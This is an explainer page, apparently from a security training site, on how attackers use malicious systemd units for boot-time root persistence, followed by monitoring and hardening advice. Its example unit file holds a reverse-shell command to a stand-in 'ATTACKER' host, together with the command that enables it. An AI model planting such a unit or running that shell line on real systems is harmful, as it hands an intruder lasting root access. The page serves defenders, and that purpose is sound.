What is a systemd service backdoor?

A systemd service backdoor creates a malicious systemd unit (a `.service`, often paired with a `.timer`) so the attacker's payload starts automatically at boot, typically as root, on modern Linux. Once enabled, it survives reboots and restarts itself, the Linux equivalent of a Windows service backdoor. System-wide units need root; users can also create user units in their own context. It maps to MITRE T1543.002.

HOW IT WORKS

01 The technique and payload

With root, the attacker drops and enables a unit:

- Create `/etc/systemd/system/ntp-sync.service` with `ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'` and `Restart=always`.
- Enable it so it runs at boot: `systemctl enable --now ntp-sync.service`.
- Or use a `.timer` unit for periodic execution, or a user unit (`~/.config/systemd/user/`) for non-root persistence.

The service relaunches at every boot (and restarts on failure) as root. Documented for defensive context.

> BOOT-TIME ROOT, SELF-HEALING
>
> *A systemd backdoor is durable like a Windows service: it runs at boot as root and* `Restart=always` *makes it self-healing. Timer units add scheduling, all through the legitimate init system.*

HOW TO DEFEND

- Monitor systemd unit directories (`/etc/systemd/system/`, `/usr/lib/systemd/system/`, user unit paths) for new or changed units via file integrity monitoring.
- Baseline enabled services and timers (`systemctl list-unit-files --state=enabled`, `list-timers`) and review them.
- Alert on units with `ExecStart` running shells, network callbacks, or binaries in `/tmp` and hidden paths.
- Limit root, required for system-wide units.
- Audit after incidents for rogue `.service`/`.timer` files.

SOURCES

[1] MITRE ATT&CK: Create or Modify System Process (T1543)
[2] Linux man-pages: systemd.service
[3] MITRE ATT&CK: Persistence (TA0003)

Find the backdoors an attacker would leave behind.
securelayer7.net/learn/persistence/what-is-a-systemd-service-backdoor

Open online